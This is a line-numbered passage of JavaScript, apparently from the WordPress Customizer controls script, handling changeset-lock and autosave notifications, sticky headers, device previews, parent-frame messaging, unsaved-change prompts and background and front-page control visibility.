8192 lockUser: {}
8193 },
8194 params
8195 );
8196 _params.containerClasses += ' notification-changeset-locked';
8197 api.OverlayNotification.prototype.initialize.call( notification, _code, _params );
8198 },
8199
8200 /**
8201 * Render notification.
8202 *
8203 * @since 4.9.0
8204 *
8205 * @return {jQuery} Notification container.
8206 */
8207 render: function() {
8208 var notification = this, li, data, takeOverButton, request;
8209 data = _.extend(
8210 {
8211 allowOverride: false,
8212 returnUrl: api.settings.url['return'],
8213 previewUrl: api.previewer.previewUrl.get(),
8214 frontendPreviewUrl: api.previewer.getFrontendPreviewUrl()
8215 },
8216 this
8217 );
8218
8219 li = api.OverlayNotification.prototype.render.call( data );
8220
8221 // Try to autosave the changeset now.
8222 api.requestChangesetUpdate( {}, { autosave: true } ).fail( function( response ) {
8223 if ( ! response.autosaved ) {
8224 li.find( '.notice-error' ).prop( 'hidden', false ).text( response.message || api.l10n.unknownRequestFail );
8225 }
8226 } );
8227
8228 takeOverButton = li.find( '.customize-notice-take-over-button' );
8229 takeOverButton.on( 'click', function( event ) {
8230 event.preventDefault();
8231 if ( request ) {
8232 return;
8233 }
8234
8235 takeOverButton.addClass( 'disabled' );
8236 request = wp.ajax.post( 'customize_override_changeset_lock', {
8237 wp_customize: 'on',
8238 customize_theme: api.settings.theme.stylesheet,
8239 customize_changeset_uuid: api.settings.changeset.uuid,
8240 nonce: api.settings.nonce.override_lock
8241 } );
8242
8243 request.done( function() {
8244 api.notifications.remove( notification.code ); // Remove self.
8245 api.state( 'changesetLocked' ).set( false );
8246 } );
8247
8248 request.fail( function( response ) {
8249 var message = response.message || api.l10n.unknownRequestFail;
8250 li.find( '.notice-error' ).prop( 'hidden', false ).text( message );
8251
8252 request.always( function() {
8253 takeOverButton.removeClass( 'disabled' );
8254 } );
8255 } );
8256
8257 request.always( function() {
8258 request = null;
8259 } );
8260 } );
8261
8262 return li;
8263 }
8264 });
8265
8266 /**
8267 * Start lock.
8268 *
8269 * @since 4.9.0
8270 *
8271 * @param {Object} [args] - Args.
8272 * @param {Object} [args.lockUser] - Lock user data.
8273 * @param {boolean} [args.allowOverride=false] - Whether override is allowed.
8274 * @return {void}
8275 */
8276 function startLock( args ) {
8277 if ( args && args.lockUser ) {
8278 api.settings.changeset.lockUser = args.lockUser;
8279 }
8280 api.state( 'changesetLocked' ).set( true );
8281 api.notifications.add( new LockedNotification( 'changeset_locked', {
8282 lockUser: api.settings.changeset.lockUser,
8283 allowOverride: Boolean( args && args.allowOverride )
8284 } ) );
8285 }
8286
8287 // Show initial notification.
8288 if ( api.settings.changeset.lockUser ) {
8289 startLock( { allowOverride: true } );
8290 }
8291
8292 // Check for lock when sending heartbeat requests.
8293 $( document ).on( 'heartbeat-send.update_lock_notice', function( event, data ) {
8294 data.check_changeset_lock = true;
8295 data.changeset_uuid = api.settings.changeset.uuid;
8296 } );
8297
8298 // Handle heartbeat ticks.
8299 $( document ).on( 'heartbeat-tick.update_lock_notice', function( event, data ) {
8300 var notification, code = 'changeset_locked';
8301 if ( ! data.customize_changeset_lock_user ) {
8302 return;
8303 }
8304
8305 // Update notification when a different user takes over.
8306 notification = api.notifications( code );
8307 if ( notification && notification.lockUser.id !== api.settings.changeset.lockUser.id ) {
8308 api.notifications.remove( code );
8309 }
8310
8311 startLock( {
8312 lockUser: data.customize_changeset_lock_user
8313 } );
8314 } );
8315
8316 // Handle locking in response to changeset save errors.
8317 api.bind( 'error', function( response ) {
8318 if ( 'changeset_locked' === response.code && response.lock_user ) {
8319 startLock( {
8320 lockUser: response.lock_user
8321 } );
8322 }
8323 } );
8324 } )();
8325
8326 // Set up initial notifications.
8327 (function() {
8328 var removedQueryParams = [], autosaveDismissed = false;
8329
8330 /**
8331 * Obtain the URL to restore the autosave.
8332 *
8333 * @return {string} Customizer URL.
8334 */
8335 function getAutosaveRestorationUrl() {
8336 var urlParser, queryParams;
8337 urlParser = document.createElement( 'a' );
8338 urlParser.href = location.href;
8339 queryParams = api.utils.parseQueryString( urlParser.search.substr( 1 ) );
8340 if ( api.settings.changeset.latestAutoDraftUuid ) {
8341 queryParams.changeset_uuid = api.settings.changeset.latestAutoDraftUuid;
8342 } else {
8343 queryParams.customize_autosaved = 'on';
8344 }
8345 queryParams['return'] = api.settings.url['return'];
8346 urlParser.search = $.param( queryParams );
8347 return urlParser.href;
8348 }
8349
8350 /**
8351 * Remove parameter from the URL.
8352 *
8353 * @param {Array} params - Parameter names to remove.
8354 * @return {void}
8355 */
8356 function stripParamsFromLocation( params ) {
8357 var urlParser = document.createElement( 'a' ), queryParams, strippedParams = 0;
8358 urlParser.href = location.href;
8359 queryParams = api.utils.parseQueryString( urlParser.search.substr( 1 ) );
8360 _.each( params, function( param ) {
8361 if ( 'undefined' !== typeof queryParams[ param ] ) {
8362 strippedParams += 1;
8363 delete queryParams[ param ];
8364 }
8365 } );
8366 if ( 0 === strippedParams ) {
8367 return;
8368 }
8369
8370 urlParser.search = $.param( queryParams );
8371 history.replaceState( {}, document.title, urlParser.href );
8372 }
8373
8374 /**
8375 * Displays a Site Editor notification when a block theme is activated.
8376 *
8377 * @since 4.9.0
8378 *
8379 * @param {string} [notification] - A notification to display.
8380 * @return {void}
8381 */
8382 function addSiteEditorNotification( notification ) {
8383 api.notifications.add( new api.Notification( 'site_editor_block_theme_notice', {
8384 message: notification,
8385 type: 'info',
8386 dismissible: false,
8387 render: function() {
8388 var notification = api.Notification.prototype.render.call( this ),
8389 button = notification.find( 'button.switch-to-editor' );
8390
8391 button.on( 'click', function( event ) {
8392 event.preventDefault();
8393 location.assign( button.data( 'action' ) );
8394 } );
8395
8396 return notification;
8397 }
8398 } ) );
8399 }
8400
8401 /**
8402 * Dismiss autosave.
8403 *
8404 * @return {void}
8405 */
8406 function dismissAutosave() {
8407 if ( autosaveDismissed ) {
8408 return;
8409 }
8410 wp.ajax.post( 'customize_dismiss_autosave_or_lock', {
8411 wp_customize: 'on',
8412 customize_theme: api.settings.theme.stylesheet,
8413 customize_changeset_uuid: api.settings.changeset.uuid,
8414 nonce: api.settings.nonce.dismiss_autosave_or_lock,
8415 dismiss_autosave: true
8416 } );
8417 autosaveDismissed = true;
8418 }
8419
8420 /**
8421 * Add notification regarding the availability of an autosave to restore.
8422 *
8423 * @return {void}
8424 */
8425 function addAutosaveRestoreNotification() {
8426 var code = 'autosave_available', onStateChange;
8427
8428 // Since there is an autosave revision and the user hasn't loaded with autosaved, add notification to prompt to load autosaved version.
8429 api.notifications.add( new api.Notification( code, {
8430 message: api.l10n.autosaveNotice,
8431 type: 'warning',
8432 dismissible: true,
8433 render: function() {
8434 var li = api.Notification.prototype.render.call( this ), link;
8435
8436 // Handle clicking on restoration link.
8437 link = li.find( 'a' );
8438 link.prop( 'href', getAutosaveRestorationUrl() );
8439 link.on( 'click', function( event ) {
8440 event.preventDefault();
8441 location.replace( getAutosaveRestorationUrl() );
8442 } );
8443
8444 // Handle dismissal of notice.
8445 li.find( '.notice-dismiss' ).on( 'click', dismissAutosave );
8446
8447 return li;
8448 }
8449 } ) );
8450
8451 // Remove the notification once the user starts making changes.
8452 onStateChange = function() {
8453 dismissAutosave();
8454 api.notifications.remove( code );
8455 api.unbind( 'change', onStateChange );
8456 api.state( 'changesetStatus' ).unbind( onStateChange );
8457 };
8458 api.bind( 'change', onStateChange );
8459 api.state( 'changesetStatus' ).bind( onStateChange );
8460 }
8461
8462 if ( api.settings.changeset.autosaved ) {
8463 api.state( 'saved' ).set( false );
8464 removedQueryParams.push( 'customize_autosaved' );
8465 }
8466 if ( ! api.settings.changeset.branching && ( ! api.settings.changeset.status || 'auto-draft' === api.settings.changeset.status ) ) {
8467 removedQueryParams.push( 'changeset_uuid' ); // Remove UUID when restoring autosave auto-draft.
8468 }
8469 if ( removedQueryParams.length > 0 ) {
8470 stripParamsFromLocation( removedQueryParams );
8471 }
8472 if ( api.settings.changeset.latestAutoDraftUuid || api.settings.changeset.hasAutosaveRevision ) {
8473 addAutosaveRestoreNotification();
8474 }
8475 var shouldDisplayBlockThemeNotification = !! parseInt( $( '#customize-info' ).data( 'block-theme' ), 10 );
8476 if (shouldDisplayBlockThemeNotification) {
8477 addSiteEditorNotification( api.l10n.blockThemeNotification );
8478 }
8479 })();
8480
8481 // Check if preview url is valid and load the preview frame.
8482 if ( api.previewer.previewUrl() ) {
8483 api.previewer.refresh();
8484 } else {
8485 api.previewer.previewUrl( api.settings.url.home );
8486 }
8487
8488 // Button bindings.
8489 saveBtn.on( 'click', function( event ) {
8490 api.previewer.save();
8491 event.preventDefault();
8492 }).on( 'keydown', function( event ) {
8493 if ( 9 === event.which ) { // Tab.
8494 return;
8495 }
8496 if ( 13 === event.which ) { // Enter.
8497 api.previewer.save();
8498 }
8499 event.preventDefault();
8500 });
8501
8502 closeBtn.on( 'keydown', function( event ) {
8503 if ( 9 === event.which ) { // Tab.
8504 return;
8505 }
8506 if ( 13 === event.which ) { // Enter.
8507 this.click();
8508 }
8509 event.preventDefault();
8510 });
8511
8512 $( '.collapse-sidebar' ).on( 'click', function() {
8513 api.state( 'paneVisible' ).set( ! api.state( 'paneVisible' ).get() );
8514 });
8515
8516 api.state( 'paneVisible' ).bind( function( paneVisible ) {
8517 overlay.toggleClass( 'preview-only', ! paneVisible );
8518 overlay.toggleClass( 'expanded', paneVisible );
8519 overlay.toggleClass( 'collapsed', ! paneVisible );
8520
8521 if ( ! paneVisible ) {
8522 $( '.collapse-sidebar' ).attr({ 'aria-expanded': 'false', 'aria-label': api.l10n.expandSidebar });
8523 } else {
8524 $( '.collapse-sidebar' ).attr({ 'aria-expanded': 'true', 'aria-label': api.l10n.collapseSidebar });
8525 }
8526 });
8527
8528 // Keyboard shortcuts - esc to exit section/panel.
8529 body.on( 'keydown', function( event ) {
8530 var collapsedObject, expandedControls = [], expandedSections = [], expandedPanels = [];
8531
8532 if ( 27 !== event.which ) { // Esc.
8533 return;
8534 }
8535
8536 /*
8537 * Abort if the event target is not the body (the default) and not inside of #customize-controls.
8538 * This ensures that ESC meant to collapse a modal dialog or a TinyMCE toolbar won't collapse something else.
8539 */
8540 if ( ! $( event.target ).is( 'body' ) && ! $.contains( $( '#customize-controls' )[0], event.target ) ) {
8541 return;
8542 }
8543
8544 // Abort if we're inside of a block editor instance.
8545 if ( event.target.closest( '.block-editor-writing-flow' ) !== null ||
8546 event.target.closest( '.block-editor-block-list__block-popover' ) !== null
8547 ) {
8548 return;
8549 }
8550
8551 // Check for expanded expandable controls (e.g. widgets and nav menus items), sections, and panels.
8552 api.control.each( function( control ) {
8553 if ( control.expanded && control.expanded() && _.isFunction( control.collapse ) ) {
8554 expandedControls.push( control );
8555 }
8556 });
8557 api.section.each( function( section ) {
8558 if ( section.expanded() ) {
8559 expandedSections.push( section );
8560 }
8561 });
8562 api.panel.each( function( panel ) {
8563 if ( panel.expanded() ) {
8564 expandedPanels.push( panel );
8565 }
8566 });
8567
8568 // Skip collapsing expanded controls if there are no expanded sections.
8569 if ( expandedControls.length > 0 && 0 === expandedSections.length ) {
8570 expandedControls.length = 0;
8571 }
8572
8573 // Collapse the most granular expanded object.
8574 collapsedObject = expandedControls[0] || expandedSections[0] || expandedPanels[0];
8575 if ( collapsedObject ) {
8576 if ( 'themes' === collapsedObject.params.type ) {
8577
8578 // Themes panel or section.
8579 if ( body.hasClass( 'modal-open' ) ) {
8580 collapsedObject.closeDetails();
8581 } else if ( api.panel.has( 'themes' ) ) {
8582
8583 // If we're collapsing a section, collapse the panel also.
8584 api.panel( 'themes' ).collapse();
8585 }
8586 return;
8587 }
8588 collapsedObject.collapse();
8589 event.preventDefault();
8590 }
8591 });
8592
8593 $( '.customize-controls-preview-toggle' ).on( 'click', function() {
8594 api.state( 'paneVisible' ).set( ! api.state( 'paneVisible' ).get() );
8595 });
8596
8597 /*
8598 * Sticky header feature.
8599 */
8600 (function initStickyHeaders() {
8601 var parentContainer = $( '.wp-full-overlay-sidebar-content' ),
8602 changeContainer, updateHeaderHeight, releaseStickyHeader, resetStickyHeader, positionStickyHeader,
8603 activeHeader, lastScrollTop;
8604
8605 /**
8606 * Determine which panel or section is currently expanded.
8607 *
8608 * @since 4.7.0
8609 * @access private
8610 *
8611 * @param {wp.customize.Panel|wp.customize.Section} container Construct.
8612 * @return {void}
8613 */
8614 changeContainer = function( container ) {
8615 var newInstance = container,
8616 expandedSection = api.state( 'expandedSection' ).get(),
8617 expandedPanel = api.state( 'expandedPanel' ).get(),
8618 headerElement;
8619
8620 if ( activeHeader && activeHeader.element ) {
8621 // Release previously active header element.
8622 releaseStickyHeader( activeHeader.element );
8623
8624 // Remove event listener in the previous panel or section.
8625 activeHeader.element.find( '.description' ).off( 'toggled', updateHeaderHeight );
8626 }
8627
8628 if ( ! newInstance ) {
8629 if ( ! expandedSection && expandedPanel && expandedPanel.contentContainer ) {
8630 newInstance = expandedPanel;
8631 } else if ( ! expandedPanel && expandedSection && expandedSection.contentContainer ) {
8632 newInstance = expandedSection;
8633 } else {
8634 activeHeader = false;
8635 return;
8636 }
8637 }
8638
8639 headerElement = newInstance.contentContainer.find( '.customize-section-title, .panel-meta' ).first();
8640 if ( headerElement.length ) {
8641 activeHeader = {
8642 instance: newInstance,
8643 element: headerElement,
8644 parent: headerElement.closest( '.customize-pane-child' ),
8645 height: headerElement.outerHeight()
8646 };
8647
8648 // Update header height whenever help text is expanded or collapsed.
8649 activeHeader.element.find( '.description' ).on( 'toggled', updateHeaderHeight );
8650
8651 if ( expandedSection ) {
8652 resetStickyHeader( activeHeader.element, activeHeader.parent );
8653 }
8654 } else {
8655 activeHeader = false;
8656 }
8657 };
8658 api.state( 'expandedSection' ).bind( changeContainer );
8659 api.state( 'expandedPanel' ).bind( changeContainer );
8660
8661 // Throttled scroll event handler.
8662 parentContainer.on( 'scroll', _.throttle( function() {
8663 if ( ! activeHeader ) {
8664 return;
8665 }
8666
8667 var scrollTop = parentContainer.scrollTop(),
8668 scrollDirection;
8669
8670 if ( ! lastScrollTop ) {
8671 scrollDirection = 1;
8672 } else {
8673 if ( scrollTop === lastScrollTop ) {
8674 scrollDirection = 0;
8675 } else if ( scrollTop > lastScrollTop ) {
8676 scrollDirection = 1;
8677 } else {
8678 scrollDirection = -1;
8679 }
8680 }
8681 lastScrollTop = scrollTop;
8682 if ( 0 !== scrollDirection ) {
8683 positionStickyHeader( activeHeader, scrollTop, scrollDirection );
8684 }
8685 }, 8 ) );
8686
8687 // Update header position on sidebar layout change.
8688 api.notifications.bind( 'sidebarTopUpdated', function() {
8689 if ( activeHeader && activeHeader.element.hasClass( 'is-sticky' ) ) {
8690 activeHeader.element.css( 'top', parentContainer.css( 'top' ) );
8691 }
8692 });
8693
8694 // Release header element if it is sticky.
8695 releaseStickyHeader = function( headerElement ) {
8696 if ( ! headerElement.hasClass( 'is-sticky' ) ) {
8697 return;
8698 }
8699 headerElement
8700 .removeClass( 'is-sticky' )
8701 .addClass( 'maybe-sticky is-in-view' )
8702 .css( 'top', parentContainer.scrollTop() + 'px' );
8703 };
8704
8705 // Reset position of the sticky header.
8706 resetStickyHeader = function( headerElement, headerParent ) {
8707 if ( headerElement.hasClass( 'is-in-view' ) ) {
8708 headerElement
8709 .removeClass( 'maybe-sticky is-in-view' )
8710 .css( {
8711 width: '',
8712 top: ''
8713 } );
8714 headerParent.css( 'padding-top', '' );
8715 }
8716 };
8717
8718 /**
8719 * Update active header height.
8720 *
8721 * @since 4.7.0
8722 * @access private
8723 *
8724 * @return {void}
8725 */
8726 updateHeaderHeight = function() {
8727 activeHeader.height = activeHeader.element.outerHeight();
8728 };
8729
8730 /**
8731 * Reposition header on throttled `scroll` event.
8732 *
8733 * @since 4.7.0
8734 * @access private
8735 *
8736 * @param {Object} header - Header.
8737 * @param {number} scrollTop - Scroll top.
8738 * @param {number} scrollDirection - Scroll direction, negative number being up and positive being down.
8739 * @return {void}
8740 */
8741 positionStickyHeader = function( header, scrollTop, scrollDirection ) {
8742 var headerElement = header.element,
8743 headerParent = header.parent,
8744 headerHeight = header.height,
8745 headerTop = parseInt( headerElement.css( 'top' ), 10 ),
8746 maybeSticky = headerElement.hasClass( 'maybe-sticky' ),
8747 isSticky = headerElement.hasClass( 'is-sticky' ),
8748 isInView = headerElement.hasClass( 'is-in-view' ),
8749 isScrollingUp = ( -1 === scrollDirection );
8750
8751 // When scrolling down, gradually hide sticky header.
8752 if ( ! isScrollingUp ) {
8753 if ( isSticky ) {
8754 headerTop = scrollTop;
8755 headerElement
8756 .removeClass( 'is-sticky' )
8757 .css( {
8758 top: headerTop + 'px',
8759 width: ''
8760 } );
8761 }
8762 if ( isInView && scrollTop > headerTop + headerHeight ) {
8763 headerElement.removeClass( 'is-in-view' );
8764 headerParent.css( 'padding-top', '' );
8765 }
8766 return;
8767 }
8768
8769 // Scrolling up.
8770 if ( ! maybeSticky && scrollTop >= headerHeight ) {
8771 maybeSticky = true;
8772 headerElement.addClass( 'maybe-sticky' );
8773 } else if ( 0 === scrollTop ) {
8774 // Reset header in base position.
8775 headerElement
8776 .removeClass( 'maybe-sticky is-in-view is-sticky' )
8777 .css( {
8778 top: '',
8779 width: ''
8780 } );
8781 headerParent.css( 'padding-top', '' );
8782 return;
8783 }
8784
8785 if ( isInView && ! isSticky ) {
8786 // Header is in the view but is not yet sticky.
8787 if ( headerTop >= scrollTop ) {
8788 // Header is fully visible.
8789 headerElement
8790 .addClass( 'is-sticky' )
8791 .css( {
8792 top: parentContainer.css( 'top' ),
8793 width: headerParent.outerWidth() + 'px'
8794 } );
8795 }
8796 } else if ( maybeSticky && ! isInView ) {
8797 // Header is out of the view.
8798 headerElement
8799 .addClass( 'is-in-view' )
8800 .css( 'top', ( scrollTop - headerHeight ) + 'px' );
8801 headerParent.css( 'padding-top', headerHeight + 'px' );
8802 }
8803 };
8804 }());
8805
8806 // Previewed device bindings. (The api.previewedDevice property
8807 // is how this Value was first introduced, but since it has moved to api.state.)
8808 api.previewedDevice = api.state( 'previewedDevice' );
8809
8810 // Set the default device.
8811 api.bind( 'ready', function() {
8812 _.find( api.settings.previewableDevices, function( value, key ) {
8813 if ( true === value['default'] ) {
8814 api.previewedDevice.set( key );
8815 return true;
8816 }
8817 } );
8818 } );
8819
8820 // Set the toggled device.
8821 footerActions.find( '.devices button' ).on( 'click', function( event ) {
8822 api.previewedDevice.set( $( event.currentTarget ).data( 'device' ) );
8823 });
8824
8825 // Bind device changes.
8826 api.previewedDevice.bind( function( newDevice ) {
8827 var overlay = $( '.wp-full-overlay' ),
8828 devices = '';
8829
8830 footerActions.find( '.devices button' )
8831 .removeClass( 'active' )
8832 .attr( 'aria-pressed', false );
8833
8834 footerActions.find( '.devices .preview-' + newDevice )
8835 .addClass( 'active' )
8836 .attr( 'aria-pressed', true );
8837
8838 $.each( api.settings.previewableDevices, function( device ) {
8839 devices += ' preview-' + device;
8840 } );
8841
8842 overlay
8843 .removeClass( devices )
8844 .addClass( 'preview-' + newDevice );
8845 } );
8846
8847 // Bind site title display to the corresponding field.
8848 if ( title.length ) {
8849 api( 'blogname', function( setting ) {
8850 var updateTitle = function() {
8851 var blogTitle = setting() || '';
8852 title.text( blogTitle.toString().trim() || api.l10n.untitledBlogName );
8853 };
8854 setting.bind( updateTitle );
8855 updateTitle();
8856 } );
8857 }
8858
8859 /*
8860 * Create a postMessage connection with a parent frame,
8861 * in case the Customizer frame was opened with the Customize loader.
8862 *
8863 * @see wp.customize.Loader
8864 */
8865 parent = new api.Messenger({
8866 url: api.settings.url.parent,
8867 channel: 'loader'
8868 });
8869
8870 // Handle exiting of Customizer.
8871 (function() {
8872 var isInsideIframe = false;
8873
8874 function isCleanState() {
8875 var defaultChangesetStatus;
8876
8877 /*
8878 * Handle special case of previewing theme switch since some settings (for nav menus and widgets)
8879 * are pre-dirty and non-active themes can only ever be auto-drafts.
8880 */
8881 if ( ! api.state( 'activated' ).get() ) {
8882 return 0 === api._latestRevision;
8883 }
8884
8885 // Dirty if the changeset status has been changed but not saved yet.
8886 defaultChangesetStatus = api.state( 'changesetStatus' ).get();
8887 if ( '' === defaultChangesetStatus || 'auto-draft' === defaultChangesetStatus ) {
8888 defaultChangesetStatus = 'publish';
8889 }
8890 if ( api.state( 'selectedChangesetStatus' ).get() !== defaultChangesetStatus ) {
8891 return false;
8892 }
8893
8894 // Dirty if scheduled but the changeset date hasn't been saved yet.
8895 if ( 'future' === api.state( 'selectedChangesetStatus' ).get() && api.state( 'selectedChangesetDate' ).get() !== api.state( 'changesetDate' ).get() ) {
8896 return false;
8897 }
8898
8899 return api.state( 'saved' ).get() && 'auto-draft' !== api.state( 'changesetStatus' ).get();
8900 }
8901
8902 /*
8903 * If we receive a 'back' event, we're inside an iframe.
8904 * Send any clicks to the 'Return' link to the parent page.
8905 */
8906 parent.bind( 'back', function() {
8907 isInsideIframe = true;
8908 });
8909
8910 function startPromptingBeforeUnload() {
8911 api.unbind( 'change', startPromptingBeforeUnload );
8912 api.state( 'selectedChangesetStatus' ).unbind( startPromptingBeforeUnload );
8913 api.state( 'selectedChangesetDate' ).unbind( startPromptingBeforeUnload );
8914
8915 // Prompt user with AYS dialog if leaving the Customizer with unsaved changes.
8916 $( window ).on( 'beforeunload.customize-confirm', function() {
8917 if ( ! isCleanState() && ! api.state( 'changesetLocked' ).get() ) {
8918 setTimeout( function() {
8919 overlay.removeClass( 'customize-loading' );
8920 }, 1 );
8921 return api.l10n.saveAlert;
8922 }
8923 });
8924 }
8925 api.bind( 'change', startPromptingBeforeUnload );
8926 api.state( 'selectedChangesetStatus' ).bind( startPromptingBeforeUnload );
8927 api.state( 'selectedChangesetDate' ).bind( startPromptingBeforeUnload );
8928
8929 function requestClose() {
8930 var clearedToClose = $.Deferred(), dismissAutoSave = false, dismissLock = false;
8931
8932 if ( isCleanState() ) {
8933 dismissLock = true;
8934 } else if ( confirm( api.l10n.saveAlert ) ) {
8935
8936 dismissLock = true;
8937
8938 // Mark all settings as clean to prevent another call to requestChangesetUpdate.
8939 api.each( function( setting ) {
8940 setting._dirty = false;
8941 });
8942 $( document ).off( 'visibilitychange.wp-customize-changeset-update' );
8943 $( window ).off( 'beforeunload.wp-customize-changeset-update' );
8944
8945 closeBtn.css( 'cursor', 'progress' );
8946 if ( '' !== api.state( 'changesetStatus' ).get() ) {
8947 dismissAutoSave = true;
8948 }
8949 } else {
8950 clearedToClose.reject();
8951 }
8952
8953 if ( dismissLock || dismissAutoSave ) {
8954 wp.ajax.send( 'customize_dismiss_autosave_or_lock', {
8955 timeout: 500, // Don't wait too long.
8956 data: {
8957 wp_customize: 'on',
8958 customize_theme: api.settings.theme.stylesheet,
8959 customize_changeset_uuid: api.settings.changeset.uuid,
8960 nonce: api.settings.nonce.dismiss_autosave_or_lock,
8961 dismiss_autosave: dismissAutoSave,
8962 dismiss_lock: dismissLock
8963 }
8964 } ).always( function() {
8965 clearedToClose.resolve();
8966 } );
8967 }
8968
8969 return clearedToClose.promise();
8970 }
8971
8972 parent.bind( 'confirm-close', function() {
8973 requestClose().done( function() {
8974 parent.send( 'confirmed-close', true );
8975 } ).fail( function() {
8976 parent.send( 'confirmed-close', false );
8977 } );
8978 } );
8979
8980 closeBtn.on( 'click.customize-controls-close', function( event ) {
8981 event.preventDefault();
8982 if ( isInsideIframe ) {
8983 parent.send( 'close' ); // See confirm-close logic above.
8984 } else {
8985 requestClose().done( function() {
8986 $( window ).off( 'beforeunload.customize-confirm' );
8987 window.location.href = closeBtn.prop( 'href' );
8988 } );
8989 }
8990 });
8991 })();
8992
8993 // Pass events through to the parent.
8994 $.each( [ 'saved', 'change' ], function ( i, event ) {
8995 api.bind( event, function() {
8996 parent.send( event );
8997 });
8998 } );
8999
9000 // Pass titles to the parent.
9001 api.bind( 'title', function( newTitle ) {
9002 parent.send( 'title', newTitle );
9003 });
9004
9005 if ( api.settings.changeset.branching ) {
9006 parent.send( 'changeset-uuid', api.settings.changeset.uuid );
9007 }
9008
9009 // Initialize the connection with the parent frame.
9010 parent.send( 'ready' );
9011
9012 // Control visibility for default controls.
9013 $.each({
9014 'background_image': {
9015 controls: [ 'background_preset', 'background_position', 'background_size', 'background_repeat', 'background_attachment' ],
9016 callback: function( to ) { return !! to; }
9017 },
9018 'show_on_front': {
9019 controls: [ 'page_on_front', 'page_for_posts' ],
9020 callback: function( to ) { return 'page' === to; }
9021 },
9022 'header_textcolor': {
9023 controls: [ 'header_textcolor' ],
9024 callback: function( to ) { return 'blank' !== to; }
9025 }
9026 }, function( settingId, o ) {
9027 api( settingId, function( setting ) {
9028 $.each( o.controls, function( i, controlId ) {
9029 api.control( controlId, function( control ) {
9030 var visibility = function( to ) {
9031 control.container.toggle( o.callback( to ) );
9032 };
9033
9034 visibility( setting.get() );
9035 setting.bind( visibility );
9036 });
9037 });
9038 });
9039 });
9040
9041 api.control( 'background_preset', function( control ) {
9042 var visibility, defaultValues, values, toggleVisibility, updateSettings, preset;
9043
9044 visibility = { // position, size, repeat, attachment.
9045 'default': [ false, false, false, false ],
9046 'fill': [ true, false, false, false ],
9047 'fit': [ true, false, true, false ],
9048 'repeat': [ true, false, false, true ],
9049 'custom': [ true, true, true, true ]
9050 };
9051
9052 defaultValues = [
9053 _wpCustomizeBackground.defaults['default-position-x'],
9054 _wpCustomizeBackground.defaults['default-position-y'],
9055 _wpCustomizeBackground.defaults['default-size'],
9056 _wpCustomizeBackground.defaults['default-repeat'],
9057 _wpCustomizeBackground.defaults['default-attachment']
9058 ];
9059
9060 values = { // position_x, position_y, size, repeat, attachment.
9061 'default': defaultValues,
9062 'fill': [ 'left', 'top', 'cover', 'no-repeat', 'fixed' ],
9063 'fit': [ 'left', 'top', 'contain', 'no-repeat', 'fixed' ],
9064 'repeat': [ 'left', 'top', 'auto', 'repeat', 'scroll' ]
9065 };
9066
9067 // @todo These should actually toggle the active state,
9068 // but without the preview overriding the state in data.activeControls.
9069 toggleVisibility = function( preset ) {
9070 _.each( [ 'background_position', 'background_size', 'background_repeat', 'background_attachment' ], function( controlId, i ) {
9071 var control = api.control( controlId );
9072 if ( control ) {
9073 control.container.toggle( visibility[ preset ][ i ] );
9074 }
9075 } );
9076 };
9077
9078 updateSettings = function( preset ) {
9079 _.each( [ 'background_position_x', 'background_position_y', 'background_size', 'background_repeat', 'background_attachment' ], function( settingId, i ) {
9080 var setting = api( settingId );
9081 if ( setting ) {
9082 setting.set( values[ preset ][ i ] );
9083 }
9084 } );
9085 };
9086
9087 preset = control.setting.get();
9088 toggleVisibility( preset );
9089
9090 control.setting.bind( 'change', function( preset ) {
9091 toggleVisibility( preset );
9092 if ( 'custom' !== preset ) {
9093 updateSettings( preset );
9094 }
9095 } );
9096 } );
9097
9098 api.control( 'background_repeat', function( control ) {
9099 control.elements[0].unsync( api( 'background_repeat' ) );
9100
9101 control.element = new api.Element( control.container.find( 'input' ) );
9102 control.element.set( 'no-repeat' !== control.setting() );
9103
9104 control.element.bind( function( to ) {
9105 control.setting.set( to ? 'repeat' : 'no-repeat' );
9106 } );
9107
9108 control.setting.bind( function( to ) {
9109 control.element.set( 'no-repeat' !== to );
9110 } );
9111 } );
9112
9113 api.control( 'background_attachment', function( control ) {
9114 control.elements[0].unsync( api( 'background_attachment' ) );
9115
9116 control.element = new api.Element( control.container.find( 'input' ) );
9117 control.element.set( 'fixed' !== control.setting() );
9118
9119 control.element.bind( function( to ) {
9120 control.setting.set( to ? 'scroll' : 'fixed' );
9121 } );
9122
9123 control.setting.bind( function( to ) {
9124 control.element.set( 'fixed' !== to );
9125 } );
9126 } );
9127
9128 // Juggle the two controls that use header_textcolor.
9129 api.control( 'display_header_text', function( control ) {
9130 var last = '';
9131
9132 control.elements[0].unsync( api( 'header_textcolor' ) );
9133
9134 control.element = new api.Element( control.container.find('input') );
9135 control.element.set( 'blank' !== control.setting() );
9136
9137 control.element.bind( function( to ) {
9138 if ( ! to ) {
9139 last = api( 'header_textcolor' ).get();
9140 }
9141
9142 control.setting.set( to ? last : 'blank' );
9143 });
9144
9145 control.setting.bind( function( to ) {
9146 control.element.set( 'blank' !== to );
9147 });
9148 });
9149
9150 // Add behaviors to the static front page controls.
9151 api( 'show_on_front', 'page_on_front', 'page_for_posts', function( showOnFront, pageOnFront, pageForPosts ) {
9152 var handleChange = function() {
9153 var setting = this, pageOnFrontId, pageForPostsId, errorCode = 'show_on_front_page_collision';
9154 pageOnFrontId = parseInt( pageOnFront(), 10 );
9155 pageForPostsId = parseInt( pageForPosts(), 10 );
9156
9157 if ( 'page' === showOnFront() ) {
9158
9159 // Change previewed URL to the homepage when changing the page_on_front.
9160 if ( setting === pageOnFront && pageOnFrontId > 0 ) {
9161 api.previewer.previewUrl.set( api.settings.url.home );
9162 }
9163
9164 // Change the previewed URL to the selected page when changing the page_for_posts.
9165 if ( setting === pageForPosts && pageForPostsId > 0 ) {
9166 api.previewer.previewUrl.set( api.settings.url.home + '?page_id=' + pageForPostsId );
9167 }
9168 }
9169
9170 // Toggle notification when the homepage and posts page are both set and the same.
9171 if ( 'page' === showOnFront() && pageOnFrontId && pageForPostsId && pageOnFrontId === pageForPostsId ) {
9172 showOnFront.notifications.add( new api.Notification( errorCode, {
9173 type: 'error',
9174 message: api.l10n.pageOnFrontError
9175 } ) );
9176 } else {
9177 showOnFront.notifications.remove( errorCode );
9178 }
9179 };
9180 showOnFront.bind( handleChange );
9181 pageOnFront.bind( handleChange );
9182 pageForPosts.bind( handleChange );
9183 handleChange.call( showOnFront, showOnFront() ); // Make sure initial notification is added after loading existing changeset.
9184
9185 // Move notifications container to the bottom.
9186 api.control( 'show_on_front', function( showOnFrontControl ) {
9187 showOnFrontControl.deferred.embedded.done( function() {
9188 showOnFrontControl.container.append( showOnFrontControl.getNotificationsContainerElement() );
9189 });
